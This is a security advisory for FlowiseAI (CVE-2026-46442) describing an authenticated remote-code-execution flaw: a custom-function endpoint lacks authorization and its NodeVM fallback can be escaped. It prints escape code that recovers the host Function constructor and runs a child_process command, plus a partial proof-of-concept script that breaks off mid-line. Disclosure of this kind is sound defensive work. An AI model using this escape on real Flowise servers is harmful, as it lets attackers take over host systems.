FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

### Summary `POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node. When `E2B_APIKEY` is not configured , the common deployment case , Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`. The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**. ### Details Two distinct security boundaries are violated. **1. Missing route-level authorization** `packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware: ```ts router.post('/', nodesRouter.executeCustomFunction) ``` Other sensitive routes in the same codebase use explicit permission gates: ```ts // packages/server/src/routes/chatflows/index.ts router.post( '/', checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'), chatflowsController.saveChatflow ) ``` Global `/api/v1` authentication still applies, so this is not unauthenticated , but any valid session or API key reaches the endpoint without further restriction. **2. NodeVM sandbox escape** The endpoint forwards `body.javascriptFunction` through the following chain: ``` POST /api/v1/node-custom-function → packages/server/src/controllers/nodes/index.ts → packages/server/src/utils/executeCustomNodeFunction.ts → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts executeJavaScriptCode(javascriptFunction, sandbox) → packages/components/src/utils.ts if !process.env.E2B_APIKEY → NodeVM fallback → [SINK] host process / child_process ``` `packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`: ```ts const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY ``` Flowise explicitly frames this as a sandboxed execution path , the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation. These controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`: ```js const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('return process.getBuiltinModule("child_process")')(); return cp.execSync('id').toString().trim(); ``` The NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected. ### PoC **Standalone verification** (run from the repository root with `E2B_APIKEY` unset): ```js // poc_Flowise_NodeCustomFunction_RCE_2026.js const path = require('path'); delete process.env.E2B_APIKEY; process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' }); require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only')); const { nodeClass: CustomFunction } = require(path.resolve( 'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts' )); const attackCode = ` async function f() { const error = new Error(); error.name = Object.create(null); return error.stack; } return await f().catch(e => { const FunctionCtor = e.constructor.constructor; const cp = FunctionCtor('ret

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-94

Also known as

CVE-2026-46442

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2
• nvd.nist.gov/vuln/detail/CVE-2026-46442
• github.com/FlowiseAI/Flowise
• github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2